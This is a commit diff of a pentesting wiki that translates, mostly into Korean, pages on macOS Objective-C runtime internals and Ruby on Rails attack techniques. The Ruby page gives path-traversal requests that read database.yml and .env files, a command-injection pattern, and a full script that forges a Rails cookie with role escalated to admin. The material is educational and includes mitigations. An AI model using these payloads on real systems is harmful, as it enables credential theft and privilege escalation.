mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
2311782d60
commit
2ce5f91abc
@ -4,9 +4,9 @@
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
CF\* 객체는 CoreFoundation에서 제공되며, `CFString`, `CFNumber` 또는 `CFAllocator`와 같은 50개 이상의 객체 클래스를 제공합니다.
|
||||
CF* 객체는 CoreFoundation에서 유래하며, `CFString`, `CFNumber` 또는 `CFAllocator`와 같은 50개 이상의 클래스 객체를 제공합니다.
|
||||
|
||||
이 모든 클래스는 `CFRuntimeClass` 클래스의 인스턴스이며, 호출되면 `__CFRuntimeClassTable`에 대한 인덱스를 반환합니다. CFRuntimeClass는 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)에서 정의됩니다:
|
||||
이 모든 클래스는 `CFRuntimeClass` 클래스의 인스턴스이며, 호출될 때 `__CFRuntimeClassTable`에 대한 인덱스를 반환합니다. CFRuntimeClass는 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)에서 정의되어 있습니다:
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
```
|
||||
## Objective-C
|
||||
|
||||
### 메모리 섹션 사용
|
||||
### Memory sections used
|
||||
|
||||
ObjectiveC 런타임에서 사용하는 대부분의 데이터는 실행 중에 변경되므로, 메모리의 **\_\_DATA** 세그먼트에서 몇 가지 섹션을 사용합니다:
|
||||
Objective‑C 런타임에서 사용하는 대부분의 데이터는 실행 중에 변경되므로, 메모리의 Mach‑O `__DATA` 계열 세그먼트에 있는 여러 섹션을 사용합니다. 역사적으로 이들에는 다음이 포함되었습니다:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): 메시지 참조
|
||||
- **`__objc_ivar`** (`ivar`): 인스턴스 변수
|
||||
- **`__objc_data`** (`...`): 변경 가능한 데이터
|
||||
- **`__objc_classrefs`** (`Class`): 클래스 참조
|
||||
- **`__objc_superrefs`** (`Class`): 슈퍼클래스 참조
|
||||
- **`__objc_protorefs`** (`protocol_t *`): 프로토콜 참조
|
||||
- **`__objc_selrefs`** (`SEL`): 선택자 참조
|
||||
- **`__objc_const`** (`...`): 클래스 `r/o` 데이터 및 기타 (희망적으로) 상수 데이터
|
||||
- **`__objc_imageinfo`** (`version, flags`): 이미지 로드 중 사용: 현재 버전 `0`; 플래그는 사전 최적화된 GC 지원 등을 지정합니다.
|
||||
- **`__objc_protolist`** (`protocol_t *`): 프로토콜 목록
|
||||
- **`__objc_nlcatlist`** (`category_t`): 이 바이너리에서 정의된 비지연 카테고리에 대한 포인터
|
||||
- **`__objc_catlist`** (`category_t`): 이 바이너리에서 정의된 카테고리에 대한 포인터
|
||||
- **`__objc_nlclslist`** (`classref_t`): 이 바이너리에서 정의된 비지연 Objective-C 클래스에 대한 포인터
|
||||
- **`__objc_classlist`** (`classref_t`): 이 바이너리에서 정의된 모든 Objective-C 클래스에 대한 포인터
|
||||
- `__objc_msgrefs` (`message_ref_t`): 메시지 참조
|
||||
- `__objc_ivar` (`ivar`): 인스턴스 변수
|
||||
- `__objc_data` (`...`): 가변 데이터
|
||||
- `__objc_classrefs` (`Class`): 클래스 참조
|
||||
- `__objc_superrefs` (`Class`): 슈퍼클래스 참조
|
||||
- `__objc_protorefs` (`protocol_t *`): 프로토콜 참조
|
||||
- `__objc_selrefs` (`SEL`): 셀렉터 참조
|
||||
- `__objc_const` (`...`): 클래스 읽기 전용 데이터 및 기타 (가능한) 상수 데이터
|
||||
- `__objc_imageinfo` (`version, flags`): 이미지 로드 중에 사용: 버전은 현재 `0`; 플래그는 사전 최적화된 GC 지원 등 지정
|
||||
- `__objc_protolist` (`protocol_t *`): 프로토콜 목록
|
||||
- `__objc_nlcatlist` (`category_t`): 이 바이너리에 정의된 Non-Lazy 카테고리에 대한 포인터
|
||||
- `__objc_catlist` (`category_t`): 이 바이너리에 정의된 카테고리에 대한 포인터
|
||||
- `__objc_nlclslist` (`classref_t`): 이 바이너리에 정의된 Non-Lazy Objective‑C 클래스에 대한 포인터
|
||||
- `__objc_classlist` (`classref_t`): 이 바이너리에 정의된 모든 Objective‑C 클래스에 대한 포인터들
|
||||
|
||||
또한, 이 섹션에 쓸 수 없는 상수 값을 저장하기 위해 **`__TEXT`** 세그먼트의 몇 가지 섹션을 사용합니다:
|
||||
상수를 저장하기 위해 `__TEXT` 세그먼트의 몇몇 섹션도 사용됩니다:
|
||||
|
||||
- **`__objc_methname`** (C-String): 메서드 이름
|
||||
- **`__objc_classname`** (C-String): 클래스 이름
|
||||
- **`__objc_methtype`** (C-String): 메서드 유형
|
||||
- `__objc_methname` (C‑String): 메서드 이름
|
||||
- `__objc_classname` (C‑String): 클래스 이름
|
||||
- `__objc_methtype` (C‑String): 메서드 타입
|
||||
|
||||
### 타입 인코딩
|
||||
최신 macOS/iOS(특히 Apple Silicon)에서는 Objective‑C/Swift 메타데이터를 다음에 배치하기도 합니다:
|
||||
|
||||
Objective-C는 선택자 및 변수 유형을 단순 및 복합 유형으로 인코딩하기 위해 일부 맹글링을 사용합니다:
|
||||
- `__DATA_CONST`: 프로세스 간에 읽기 전용으로 공유할 수 있는 불변 Objective‑C 메타데이터(예: 많은 `__objc_*` 목록이 이제 여기에 존재)
|
||||
- `__AUTH` / `__AUTH_CONST`: arm64e에서 로드 시 또는 사용 시 인증되어야 하는 포인터를 포함하는 세그먼트(포인터 인증). 또한 레거시 `__la_symbol_ptr`/`__got` 대신 `__AUTH_CONST`에 `__auth_got`을 보게 됩니다. 인스트루먼트나 후킹을 할 때는 최신 바이너리에서 `__got`과 `__auth_got` 엔트리 둘 다를 고려해야 합니다.
|
||||
|
||||
- 원시 유형은 유형의 첫 글자를 사용합니다. `i`는 `int`, `c`는 `char`, `l`은 `long`...이며, 부호 없는 경우 대문자를 사용합니다 (`L`은 `unsigned Long`).
|
||||
- 다른 데이터 유형의 경우, 사용되는 글자나 특수한 경우에는 `q`는 `long long`, `b`는 `bitfields`, `B`는 `booleans`, `#`는 `classes`, `@`는 `id`, `*`는 `char pointers`, `^`는 일반 `pointers`, `?`는 `undefined`와 같은 다른 글자나 기호를 사용합니다.
|
||||
- 배열, 구조체 및 유니온은 각각 `[`, `{` 및 `(`를 사용합니다.
|
||||
dyld 사전 최적화(예: selector uniquing 및 class/protocol 사전 계산)에 대한 배경과 공유 캐시에서 로드될 때 왜 이들 섹션 중 많은 부분이 "이미 고정되어 있는지"에 대해서는 Apple `objc-opt` 소스와 dyld shared cache 노트를 참고하세요. 이는 런타임에 메타데이터를 패치할 수 있는 위치와 방법에 영향을 줍니다.
|
||||
|
||||
#### 예제 메서드 선언
|
||||
{{#ref}}
|
||||
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
|
||||
{{#endref}}
|
||||
|
||||
### Type Encoding
|
||||
|
||||
Objective‑C는 단순 및 복합 타입의 selector와 변수 타입을 인코딩하기 위해 mangling을 사용합니다:
|
||||
|
||||
- 프리미티브 타입은 타입의 첫 글자를 사용합니다 — `int`는 `i`, `char`는 `c`, `long`은 `l` 등... unsigned인 경우 대문자를 사용합니다(예: `unsigned long`은 `L`).
|
||||
- 다른 데이터 타입은 `long long`은 `q`, 비트필드는 `b`, 불리언은 `B`, 클래스는 `#`, `id`는 `@`, `char *`는 `*`, 일반 포인터는 `^`, 정의되지 않은 것은 `?` 등 다른 문자나 기호를 사용합니다.
|
||||
- 배열, 구조체, 유니온은 각각 `[`, `{`, `(`을 사용합니다.
|
||||
|
||||
#### Example Method Declaration
|
||||
```objectivec
|
||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
|
||||
```
|
||||
선택자는 `processString:withOptions:andError:`입니다.
|
||||
셀렉터는 `processString:withOptions:andError:` 입니다
|
||||
|
||||
#### 타입 인코딩
|
||||
|
||||
- `id`는 `@`로 인코딩됩니다.
|
||||
- `char *`는 `*`로 인코딩됩니다.
|
||||
- `id` 는 `@` 로 인코딩됩니다
|
||||
- `char *` 는 `*` 로 인코딩됩니다
|
||||
|
||||
메서드의 전체 타입 인코딩은:
|
||||
메서드의 전체 타입 인코딩은 다음과 같습니다:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### 상세 분석
|
||||
|
||||
1. **반환 유형 (`NSString *`)**: 길이 24로 `@`로 인코딩됨
|
||||
2. **`self` (객체 인스턴스)**: 오프셋 0에서 `@`로 인코딩됨
|
||||
3. **`_cmd` (선택자)**: 오프셋 8에서 `:`로 인코딩됨
|
||||
4. **첫 번째 인수 (`char * input`)**: 오프셋 16에서 `*`로 인코딩됨
|
||||
5. **두 번째 인수 (`NSDictionary * options`)**: 오프셋 20에서 `@`로 인코딩됨
|
||||
6. **세 번째 인수 (`NSError ** error`)**: 오프셋 24에서 `^@`로 인코딩됨
|
||||
1. 반환 타입 (`NSString *`): `@`로 인코딩, 길이 24
|
||||
2. `self` (객체 인스턴스): `@`로 인코딩, 오프셋 0
|
||||
3. `_cmd` (셀렉터): `:`로 인코딩, 오프셋 8
|
||||
4. 첫 번째 인수 (`char * input`): `*`로 인코딩, 오프셋 16
|
||||
5. 두 번째 인수 (`NSDictionary * options`): `@`로 인코딩, 오프셋 20
|
||||
6. 세 번째 인수 (`NSError ** error`): `^@`로 인코딩, 오프셋 24
|
||||
|
||||
**선택자와 인코딩을 통해 메서드를 재구성할 수 있습니다.**
|
||||
셀렉터 + 인코딩으로 메서드를 재구성할 수 있다.
|
||||
|
||||
### **클래스**
|
||||
### 클래스
|
||||
|
||||
Objective-C의 클래스는 속성, 메서드 포인터가 있는 구조체입니다... 구조체 `objc_class`를 [**소스 코드**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html)에서 찾는 것이 가능합니다:
|
||||
Objective‑C의 클래스는 속성, 메서드 포인터 등으로 구성된 C struct다. struct `objc_class`는 [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html)에서 찾을 수 있다:
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
@ -137,9 +148,114 @@ data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
이 클래스는 isa 필드의 일부 비트를 사용하여 클래스에 대한 정보를 나타냅니다.
|
||||
이 클래스는 클래스에 대한 정보를 표시하기 위해 `isa` 필드의 일부 비트를 사용합니다.
|
||||
|
||||
그런 다음, 이 구조체는 클래스의 이름, 기본 메서드, 속성 및 인스턴스 변수를 포함하는 디스크에 저장된 `class_ro_t` 구조체에 대한 포인터를 가지고 있습니다.\
|
||||
런타임 동안에는 메서드, 프로토콜, 속성 등을 변경할 수 있는 포인터를 포함하는 추가 구조체 `class_rw_t`가 사용됩니다.
|
||||
그 다음, 해당 struct는 디스크에 저장된 `class_ro_t` struct를 가리키는 포인터를 가지며, 이 구조체에는 이름, 기본 메서드, 속성, 인스턴스 변수 같은 클래스 속성이 들어 있습니다. 런타임 동안에는 메서드, 프로토콜, 속성처럼 변경될 수 있는 포인터를 포함하는 추가 구조체인 `class_rw_t`가 사용됩니다.
|
||||
|
||||
{{#ref}}
|
||||
../macos-basic-objective-c.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Modern object representations in memory (arm64e, tagged pointers, Swift)
|
||||
|
||||
### Non‑pointer `isa` and Pointer Authentication (arm64e)
|
||||
|
||||
Apple Silicon과 최신 런타임에서는 Objective‑C `isa`가 항상 원시 class 포인터가 아닙니다. arm64e에서는 PAC(Pointer Authentication Code)를 포함할 수도 있는 패킹된 구조체입니다. 플랫폼에 따라 `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` 등 필드와 (시프트되거나 서명된) 클래스 포인터 자체를 포함할 수 있습니다. 따라서 Objective‑C 객체의 처음 8바이트를 무작정 역참조하면 항상 유효한 `Class` 포인터가 나오지 않을 수 있습니다.
|
||||
|
||||
arm64e 디버깅 실무 노트:
|
||||
|
||||
- LLDB는 보통 `po`로 Objective‑C 객체를 출력할 때 PAC 비트를 제거해 주지만, raw pointer로 작업할 때는 인증을 수동으로 제거해야 할 수 있습니다:
|
||||
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -- #include <ptrauth.h>
|
||||
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
|
||||
```
|
||||
|
||||
- 많은 Mach‑O의 함수/데이터 포인터는 `__AUTH`/`__AUTH_CONST`에 위치하며 사용 전에 인증이 필요합니다. interposing 또는 재바인딩(예: fishhook‑style)을 할 경우, 레거시 `__got`뿐 아니라 `__auth_got`도 처리해야 합니다.
|
||||
|
||||
언어/ABI 보장과 Clang/LLVM에서 제공하는 `<ptrauth.h>` 인트린식에 대한 자세한 내용은 이 페이지 끝의 참조를 보세요.
|
||||
|
||||
### Tagged pointer objects
|
||||
|
||||
일부 Foundation 클래스는 객체의 페이로드를 포인터 값에 직접 인코딩(태그된 포인터)하여 힙 할당을 피합니다. 감지는 플랫폼마다 다르며(예: arm64에서는 최상위 비트, x86_64 macOS에서는 최하위 비트) 태그된 객체는 메모리에 일반적인 `isa`를 저장하지 않으며 런타임이 태그 비트로부터 클래스를 결정합니다. 임의의 `id` 값을 검사할 때:
|
||||
|
||||
- `isa` 필드를 직접 건드리지 말고 런타임 API를 사용하세요: `object_getClass(obj)` / `[obj class]`.
|
||||
- LLDB에서 `po (id)0xADDR`만으로도 런타임에서 클래스를 확인해 태그된 포인터 인스턴스를 올바르게 출력합니다.
|
||||
|
||||
### Swift heap objects and metadata
|
||||
|
||||
순수 Swift 클래스도 Objective‑C `isa`가 아닌 Swift 메타데이터를 가리키는 헤더를 가진 객체입니다. 수정 없이 실행 중인 Swift 프로세스를 조사하려면 Swift 툴체인의 `swift-inspect`를 사용할 수 있으며, 이는 Remote Mirror 라이브러리를 활용해 런타임 메타데이터를 읽습니다:
|
||||
```bash
|
||||
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
|
||||
swift-inspect dump-raw-metadata <pid-or-name>
|
||||
swift-inspect dump-arrays <pid-or-name>
|
||||
# On Darwin additionally:
|
||||
swift-inspect dump-concurrency <pid-or-name>
|
||||
```
|
||||
이것은 혼합 Swift/ObjC 앱을 리버스 엔지니어링할 때 Swift 힙 객체와 프로토콜 준수를 매핑하는 데 매우 유용합니다.
|
||||
|
||||
---
|
||||
|
||||
## Runtime inspection cheatsheet (LLDB / Frida)
|
||||
|
||||
### LLDB
|
||||
|
||||
- 원시 포인터에서 객체 또는 클래스 출력:
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
|
||||
```
|
||||
- 브레이크포인트에서 객체 메서드의 `self` 포인터로부터 Objective‑C 클래스를 검사하기:
|
||||
```lldb
|
||||
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
|
||||
(lldb) r
|
||||
... breakpoint hit ...
|
||||
(lldb) po (id)$x0 # self
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
|
||||
```
|
||||
- Objective‑C 메타데이터를 포함하는 섹션을 덤프합니다 (참고: 많은 섹션이 이제 `__DATA_CONST` / `__AUTH_CONST`에 있습니다):
|
||||
```lldb
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_classlist
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
|
||||
(lldb) image dump section --section __AUTH_CONST.__auth_got
|
||||
```
|
||||
- 알려진 클래스 객체의 메모리를 읽어 `class_ro_t` / `class_rw_t` 로 pivot하여 메서드 목록을 역분석할 때:
|
||||
```lldb
|
||||
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
|
||||
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
|
||||
```
|
||||
### Frida (Objective‑C and Swift)
|
||||
|
||||
Frida는 심볼 없이도 라이브 객체를 탐색하고 계측할 수 있게 해주는 고수준 런타임 브리지를 제공합니다:
|
||||
|
||||
- 클래스와 메서드를 열거하고, 런타임에 실제 클래스 이름을 확인하며, Objective‑C selectors를 가로챌 수 있습니다:
|
||||
```js
|
||||
if (ObjC.available) {
|
||||
// List a class' methods
|
||||
console.log(ObjC.classes.NSFileManager.$ownMethods);
|
||||
|
||||
// Intercept and inspect arguments/return values
|
||||
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
|
||||
Interceptor.attach(impl, {
|
||||
onEnter(args) {
|
||||
this.path = new ObjC.Object(args[2]).toString();
|
||||
},
|
||||
onLeave(retval) {
|
||||
console.log('fileExistsAtPath:', this.path, '=>', retval);
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
- Swift bridge: Swift 타입을 열거하고 Swift 인스턴스와 상호작용합니다 (최신 Frida 필요; Apple Silicon 타깃에서 매우 유용).
|
||||
|
||||
---
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- Clang/LLVM: Pointer Authentication 및 `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
|
||||
- Apple objc runtime headers (tagged pointers, non‑pointer `isa`, etc.) 예: `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,9 +1,100 @@
|
||||
# Ruby Tricks
|
||||
# Ruby 트릭
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 파일 업로드를 통한 RCE
|
||||
## 파일 업로드로 RCE
|
||||
|
||||
[이 기사](https://www.offsec.com/blog/cve-2024-46986/)에서 설명한 바와 같이, `config/initializers/`와 같은 민감한 디렉토리에 `.rb` 파일을 업로드하면 Ruby on Rails 애플리케이션에서 원격 코드 실행(RCE)으로 이어질 수 있습니다.
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
|
||||
팁:
|
||||
- 앱 시작 시 실행되는 다른 boot/eager-load 위치들도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 고전적인 예). 임의 파일 업로드가 `config/` 아래 아무 위치에나 놓이고 나중에 평가되거나 require된다면 부팅 시 RCE를 얻을 수 있습니다.
|
||||
- Rails가 부팅 시 로드하도록 사용자 제어 파일을 컨테이너 이미지에 복사하는 dev/staging 빌드를 찾아보세요.
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
애플리케이션이 Active Storage를 `image_processing` + `mini_magick`과 함께 사용하고 이미지 변환 메서드에 신뢰할 수 없는 파라미터를 전달하면, Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 이전 버전에서 일부 변환 메서드가 기본적으로 잘못 허용되어 command injection이 발생할 수 있습니다.
|
||||
|
||||
- 취약한 패턴 예:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
여기서 `params[:t]` 및/또는 `params[:v]`는 공격자가 제어할 수 있습니다.
|
||||
|
||||
- 테스트 시 시도할 것
|
||||
- variant/processing 옵션, 변환 이름 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.
|
||||
- `params[:t]`와 `params[:v]`를 fuzz해서 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick으로 전달되는 원시 인수를 통과시킬 수 있다면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다.
|
||||
- 생성된 variant에 대한 읽기 권한만 있다면, 조작된 ImageMagick 연산을 통해 blind exfiltration을 시도하세요.
|
||||
|
||||
- 완화/탐지
|
||||
- Active Storage + `image_processing` + `mini_magick`를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1을 보면 exploitable하다고 간주하세요. 업그레이드 권장 및 메서드/파라미터에 대해 엄격한 allowlists 적용과 강화된 ImageMagick policy를 권장합니다.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
타깃 스택이 Rack 미들웨어를 직접 사용하거나 프레임워크를 통해 사용하는 경우, `rack` 2.2.13, 3.0.14, 3.1.12 이전 버전은 `:root`가 unset/misconfigured일 때 `Rack::Static`을 통해 Local File Inclusion을 허용합니다. `PATH_INFO`에 인코딩된 traversal가 있으면 프로세스 작업 디렉터리 또는 예상치 못한 root 아래 파일이 노출될 수 있습니다.
|
||||
|
||||
- `config.ru`나 미들웨어 스택에서 `Rack::Static`을 마운트한 앱을 찾아보세요. 정적 경로에 대해 인코딩된 traversal를 시도해보세요. 예:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
설정된 `urls:`에 맞게 prefix를 조정하세요. 앱이 파일 내용을 응답하면, 해결된 `:root` 아래의 모든 항목에 대해 LFI가 있는 것입니다.
|
||||
|
||||
- 완화: Rack을 업그레이드하고 `:root`가 공개 파일 디렉터리만 가리키며 명시적으로 설정되어 있는지 확인하세요.
|
||||
|
||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||
|
||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||||
|
||||
최신 쿠키를 복호화하고 재암호화하기 위한 최소한의 Ruby (AES-256-GCM, 최근 Rails의 기본):
|
||||
```ruby
|
||||
require 'cgi'
|
||||
require 'json'
|
||||
require 'active_support'
|
||||
require 'active_support/message_encryptor'
|
||||
require 'active_support/key_generator'
|
||||
|
||||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
||||
raw_cookie = CGI.unescape(ARGV[0])
|
||||
|
||||
salt = 'authenticated encrypted cookie'
|
||||
cipher = 'aes-256-gcm'
|
||||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
||||
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
||||
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
||||
|
||||
plain = enc.decrypt_and_verify(raw_cookie)
|
||||
puts "Decrypted: #{plain.inspect}"
|
||||
|
||||
# Modify and re-encrypt (example: escalate role)
|
||||
plain['role'] = 'admin' if plain.is_a?(Hash)
|
||||
forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
참고:
|
||||
- 구형 앱은 AES-256-CBC와 `encrypted cookie` / `signed encrypted cookie` 같은 salts, 또는 JSON/Marshal serializers를 사용할 수 있습니다. 필요에 따라 salts, cipher, serializer를 조정하세요.
|
||||
- 권한 탈취/평가 시, 기존 쿠키를 모두 무효화하려면 `secret_key_base`를 회전(rotate)하세요.
|
||||
|
||||
## See also (Ruby/Rails-specific vulns)
|
||||
|
||||
- Ruby deserialization and class pollution:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-class-pollution.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||||
{{#endref}}
|
||||
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
||||
{{#ref}}
|
||||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Rails 보안 공지: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- GitHub 권고: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user